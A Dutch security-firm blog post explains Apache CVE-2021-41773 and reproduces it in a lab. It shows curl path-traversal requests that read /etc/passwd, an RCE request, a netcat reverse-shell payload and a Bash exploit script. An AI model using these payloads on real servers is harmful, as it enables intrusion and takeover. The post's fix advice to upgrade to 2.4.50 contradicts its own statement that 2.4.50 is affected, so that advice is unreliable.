Geschreven door: Bert Alting

De Apache Software Foundation heeft maandag een patch uitgebracht om een kwetsbaarheid in zijn HTTP Web Server-project te verhelpen die actief is en nog steeds wordt uitgebuit.

De kwetsbaarheid, beter bekend als CVE-2021-41773, treft alleen Apache webservers die versie 2.4.49 of 2.4.50 draaien en treedt op vanwege een fout in de manier waarop de Apache server verschillende URL-padschema’s converteert (een proces dat pad- of URI-normalisatie wordt genoemd).

Een aanvaller zou een path traversal aanval kunnen gebruiken om URL’s te mappen naar bestanden die zich buiten de verwachte htdocs of /var/www/html bevinden.

Als bestanden buiten deze website folders niet beschermd zijn door ‘require all denied’, kunnen deze aanvallen slagen. Bovendien kan dit lek de broncode van bestanden zoals CGI scripts lekken.

Uren nadat de 2.4.51 versie was uitgebracht, waren verschillende beveiligingsonderzoekers in staat om de kwetsbaarheid te reproduceren en meerdere proof-of-concept exploits vrij te geven op Twitter en GitHub.

Networking4all is op onderzoek gegaan waarbij Ethical Hacker Bert Alting de kwetsbaarheid probeert te reproduceren.

Eerst wat uitleggen…

Path Traversal? RCE? Wat houdt het precies in en waarom is de impact zo hoog?

Path Traversal is een term die gebruikt wordt zodra het mogelijk is om toegang te krijgen op mappen buiten een website of bepaalde mappen van een applicatie.
Als voorbeeld staat een website op een Linux-server vaak in map /var/www/html. Bij een goed geconfigureerde webserver is het niet mogelijk om terug te gaan met het command ../ waardoor je naar /var/www kunt gaan en nog verder. U kunt zich voorstellen dat zodra dit mogelijk is uw bestanden kwetsbaar zijn en dat mensen deze heel simpel kunnen openen.

RCE staat voor Remote Command Execution. Plat vertaald: Op afstand commando’s uitvoeren op een systeem. Voor een hacker en zelfs voor een Ethisch hacker is een RCE het hoogste doel wat je kunt bereiken bij een hackaanval. Bij een succesvolle aanval kan de aanvaller allerlei commando’s uitvoeren op het systeem en kunnen we spreken van een overname van een systeem.

Reproductie Apache 2.4.49 exploit

De betreffende Apache versie is 2.4.49. Deze hebben wij als eerst geïnstalleerd op ons systeem en daarbij een map cgi-bin aangemaakt in de hoofdmap van de webserver.
Om te controleren welke versie geïnstalleerd is:

httpd -v

Versie 2.4.49

De kwetsbaarheid werkt alleen met de volgende misconfiguratie in httpd.conf
<Directory />
Require all granted
</Directory>


Path Traversal commando:
curl '[IP-adres]/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/[Map]/[Bestandsnaam]' -vv

Voor een aanvaller is het zeer interessant om het bestand /etc/passwd in te zien. Hierin staan namelijk alle users van het systeem.
Bij het uitvoeren van het commando, kunnen we zien dat het bestand wordt ingelezen:
curl 'http://127.0.0.1:80/cgi-bin/. %2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

In de screenshot is te zien dat /etc/passwd succesvol is ingeladen met een aantal users.

Maar…

We kunnen nog een tandje verder, dat is namelijk om een shell te krijgen van het systeem. (Shell = Venster waarbij je controle hebt over het systeem en commando’s kunt uitvoeren). Dit is alleen mogelijk wanneer de mod_cgi module wordt gebruikt met Apache.
Meer informatie: https://www.ionos.com/digitalguide/server/configuration/enable-cgi-scripts-on-apache/


We gaan proberen de kwetsbaarheid te gebruiken om een RCE aanval uit te voeren.
curl -s --path-as-is -d "echo; cat /etc/passwd" "127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

Alle users van het kwetsbare systeem in /etc/passwd

Het is gelukt om de server de opdracht te geven om met het command ‘cat’ het bestand ‘/etc/passwd’ uit te lezen.

Vervolgens gaan we proberen om een shell te krijgen. Voordat we dat gaan doen laten we ons eigen systeem eerst luisteren op poort 4444:
nc -lvp 4444

Netcat luistert op poort 4444

We gaan de commando nu aanvullen met een reverse shell commando richting de kwetsbare server:
curl -s --path-as-is -d "echo; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f" "127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh"

Na het uitvoeren van het commando krijgen we een inkomende verbinding op het luisterende poort 4444 met daarbij een shell waarmee we toegang hebben gekregen op het kwetsbare systeem.

Onderstaand een PoC-script (Bash) die beide kwetsbaarheden automatisch uitvoert:

#!/bin/bash
if [[ $1 == ‘’]]; [[ $2 == ‘’ ]]; then
echo FOUT: Geen IP en Folder aangegeven
echo Voorbeeld RFI: ./apacheexploit.sh 127.0.0.1 /etc/passwd
echo Voorbeeld RCE: ./apacheexploit.sh 127.0.0.1 /bin/sh [commando]
exit
fi
curl -s --path-as-is -d “echo; $3” “$1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2”

Fix & Oplossing

Er is een simpele fix/oplossing beschikbaar voor deze kwetsbaarheid. Kijk in het configuratiebestand httpd.conf en plaats # voor de volgende regels:
<Directory />
Require all granted
</Directory>

Het beste is om Apache te gaan upgraden naar versie 2.4.50.
https://httpd.apache.org/download.cgi

Hulp nodig? Of uw systemen laten testen op kwetsbaarheden waaronder bovenstaande kwetsbaarheid? Neem contact met ons op via: 020 7881035 of stuur een mail naar security@networking4all.com


Deel artikel via: